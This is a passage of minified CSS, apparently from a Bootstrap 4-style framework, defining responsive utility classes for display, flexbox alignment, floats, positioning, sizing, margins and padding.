!important}.d-xl-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}@media print{.d-print-none{display:none !important}.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important}.d-print-inline-flex{display:-webkit-inline-box !important;display:-ms-inline-flexbox !important;display:inline-flex !important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive iframe,.embed-responsive embed,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.8571428571%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}@media (min-width: 576px){.flex-sm-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-sm-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-sm-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-sm-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-sm-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-sm-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-sm-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-sm-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-sm-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-sm-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-sm-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-sm-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-sm-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-sm-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-sm-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-sm-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-sm-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-sm-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-sm-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-sm-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-sm-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-sm-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-sm-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-sm-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-sm-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-sm-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-sm-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-sm-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 768px){.flex-md-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-md-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-md-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-md-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-md-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-md-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-md-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-md-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-md-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-md-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-md-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-md-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-md-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-md-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-md-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-md-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-md-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-md-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-md-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-md-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-md-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-md-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-md-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-md-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-md-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-md-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-md-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-md-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 992px){.flex-lg-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-lg-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-lg-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-lg-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-lg-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-lg-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-lg-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-lg-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-lg-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-lg-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-lg-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-lg-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-lg-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-lg-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-lg-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-lg-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-lg-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-lg-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-lg-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-lg-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-lg-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-lg-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-lg-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-lg-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-lg-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-lg-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-lg-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-lg-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}@media (min-width: 1200px){.flex-xl-row{-webkit-box-orient:horizontal !important;-webkit-box-direction:normal !important;-ms-flex-direction:row !important;flex-direction:row !important}.flex-xl-column{-webkit-box-orient:vertical !important;-webkit-box-direction:normal !important;-ms-flex-direction:column !important;flex-direction:column !important}.flex-xl-row-reverse{-webkit-box-orient:horizontal !important;-webkit-box-direction:reverse !important;-ms-flex-direction:row-reverse !important;flex-direction:row-reverse !important}.flex-xl-column-reverse{-webkit-box-orient:vertical !important;-webkit-box-direction:reverse !important;-ms-flex-direction:column-reverse !important;flex-direction:column-reverse !important}.flex-xl-wrap{-ms-flex-wrap:wrap !important;flex-wrap:wrap !important}.flex-xl-nowrap{-ms-flex-wrap:nowrap !important;flex-wrap:nowrap !important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.justify-content-xl-start{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}.justify-content-xl-end{-webkit-box-pack:end !important;-ms-flex-pack:end !important;justify-content:flex-end !important}.justify-content-xl-center{-webkit-box-pack:center !important;-ms-flex-pack:center !important;justify-content:center !important}.justify-content-xl-between{-webkit-box-pack:justify !important;-ms-flex-pack:justify !important;justify-content:space-between !important}.justify-content-xl-around{-ms-flex-pack:distribute !important;justify-content:space-around !important}.align-items-xl-start{-webkit-box-align:start !important;-ms-flex-align:start !important;align-items:flex-start !important}.align-items-xl-end{-webkit-box-align:end !important;-ms-flex-align:end !important;align-items:flex-end !important}.align-items-xl-center{-webkit-box-align:center !important;-ms-flex-align:center !important;align-items:center !important}.align-items-xl-baseline{-webkit-box-align:baseline !important;-ms-flex-align:baseline !important;align-items:baseline !important}.align-items-xl-stretch{-webkit-box-align:stretch !important;-ms-flex-align:stretch !important;align-items:stretch !important}.align-content-xl-start{-ms-flex-line-pack:start !important;align-content:flex-start !important}.align-content-xl-end{-ms-flex-line-pack:end !important;align-content:flex-end !important}.align-content-xl-center{-ms-flex-line-pack:center !important;align-content:center !important}.align-content-xl-between{-ms-flex-line-pack:justify !important;align-content:space-between !important}.align-content-xl-around{-ms-flex-line-pack:distribute !important;align-content:space-around !important}.align-content-xl-stretch{-ms-flex-line-pack:stretch !important;align-content:stretch !important}.align-self-xl-auto{-ms-flex-item-align:auto !important;align-self:auto !important}.align-self-xl-start{-ms-flex-item-align:start !important;align-self:flex-start !important}.align-self-xl-end{-ms-flex-item-align:end !important;align-self:flex-end !important}.align-self-xl-center{-ms-flex-item-align:center !important;align-self:center !important}.align-self-xl-baseline{-ms-flex-item-align:baseline !important;align-self:baseline !important}.align-self-xl-stretch{-ms-flex-item-align:stretch !important;align-self:stretch !important}}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 576px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 992px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1200px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:-webkit-sticky !important;position:sticky !important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports (position: -webkit-sticky) or (position: sticky){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);white-space:nowrap;-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal;-webkit-clip-path:none;clip-path:none}.w-25{width:25% !important}.w-50{width:50% !important}.w-75{width:75% !important}.w-100{width:100% !important}.h-25{height:25% !important}.h-50{height:50% !important}.h-75{height:75% !important}.h-100{height:100% !important}.mw-100{max-width:100% !important}.mh-100{max-height:100% !important}.m-0{margin:0 !important}.mt-0,.my-0{margin-top:0 !important}.mr-0,.mx-0{margin-right:0 !important}.mb-0,.my-0{margin-bottom:0 !important}.ml-0,.mx-0{margin-left:0 !important}.m-1{margin:0.25rem !important}.mt-1,.my-1{margin-top:0.25rem !important}.mr-1,.mx-1{margin-right:0.25rem !important}.mb-1,.my-1{margin-bottom:0.25rem !important}.ml-1,.mx-1{margin-left:0.25rem !important}.m-2{margin:0.5rem !important}.mt-2,.my-2{margin-top:0.5rem !important}.mr-2,.mx-2{margin-right:0.5rem !important}.mb-2,.my-2{margin-bottom:0.5rem !important}.ml-2,.mx-2{margin-left:0.5rem !important}.m-3{margin:1rem !important}.mt-3,.my-3{margin-top:1rem !important}.mr-3,.mx-3{margin-right:1rem !important}.mb-3,.my-3{margin-bottom:1rem !important}.ml-3,.mx-3{margin-left:1rem !important}.m-4{margin:1.5rem !important}.mt-4,.my-4{margin-top:1.5rem !important}.mr-4,.mx-4{margin-right:1.5rem !important}.mb-4,.my-4{margin-bottom:1.5rem !important}.ml-4,.mx-4{margin-left:1.5rem !important}.m-5{margin:3rem !important}.mt-5,.my-5{margin-top:3rem !important}.mr-5,.mx-5{margin-right:3rem !important}.mb-5,.my-5{margin-bottom:3rem !important}.ml-5,.mx-5{margin-left:3rem !important}.p-0{padding:0 !important}.pt-0,.py-0{padding-top:0 !important}.pr-0,.px-0{padding-right:0 !important}.pb-0,.py-0{padding-bottom:0 !important}.pl-0,.px-0{padding-left:0 !important}.p-1{padding:0.25rem !important}.pt-1,.py-1{padding-top:0.25rem !important}.pr-1,.px-1{padding-right:0.25rem !important}.pb-1,.py-1{padding-bottom:0.25rem !important}.pl-1,.px-1{padding-left:0.25rem !important}.p-2{padding:0.5rem !important}.pt-2,.py-2{padding-top:0.5rem !important}.pr-2,.px-2{padding-right:0.5rem !important}.pb-2,.py-2{padding-bottom:0.5rem !important}.pl-2,.px-2{padding-left:0.5rem !important}.p-3{padding:1rem !important}.pt-3,.py-3{padding-top:1rem !important}.pr-3,.px-3{padding-right:1rem !important}.pb-3,.py-3{padding-bottom:1rem !important}.pl-3,.px-3{padding-left:1rem !important}.p-4{padding:1.5rem !important}.pt-4,.py-4{padding-top:1.5rem !important}.pr-4,.px-4{padding-right:1.5rem !important}.pb-4,.py-4{padding-bottom:1.5rem !important}.pl-4,.px-4{padding-left:1.5rem !important}.p-5{padding:3rem !important}.pt-5,.py-5{padding-top:3rem !important}.pr-5,.px-5{padding-right:3rem !important}.pb-5,.py-5{padding-bottom:3rem !important}.pl-5,.px-5{padding-left:3rem !important}.m-auto{margin:auto !important}.mt-auto,.my-auto{margin-top:auto !important}.mr-auto,.mx-auto{margin-right:auto !important}.mb-auto,.my-auto{margin-bottom:auto !important}.ml-auto,.mx-auto{margin-left:auto !important}@media (min-width: 576px){.m-sm-0{margin:0 !important}.mt-sm-0,.my-sm-0{margin-top:0 !important}.mr-sm-0,.mx-sm-0{margin-right:0 !important}.mb-sm-0,.my-sm-0{margin-bottom:0 !important}.ml-sm-0,.mx-sm-0{margin-left:0 !important}.m-sm-1{margin:0.25rem !important}.mt-sm-1,.my-sm-1{margin-top:0.25rem !important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem !important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 !important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem !important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem !important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem 